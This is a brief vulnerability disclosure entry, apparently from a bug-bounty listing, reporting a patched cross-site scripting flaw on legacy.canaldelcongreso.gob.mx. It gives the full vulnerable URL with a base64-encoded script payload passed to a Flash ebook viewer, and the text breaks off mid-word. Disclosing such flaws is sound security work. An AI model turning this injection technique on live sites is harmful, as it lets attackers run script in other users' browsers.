legacy.canaldelcongreso.gob.mx XSS vulnerability

Vulnerable URL: http://legacy.canaldelcongreso.gob.mx/swf/ebook/bookContent.swf?currentHTMLURL=data:text/html;base64,PHNjcmlwdD5hbGVydCgnT1BFTiBCVUdCT1VOVFknKTwvc2NyaXB0Pg== Details: Description| Value ---|--- Patched:| Yes, at 03.10.2017 Latest check for patch:| 03.10.2017 14:55 GMT Vulnerabilit...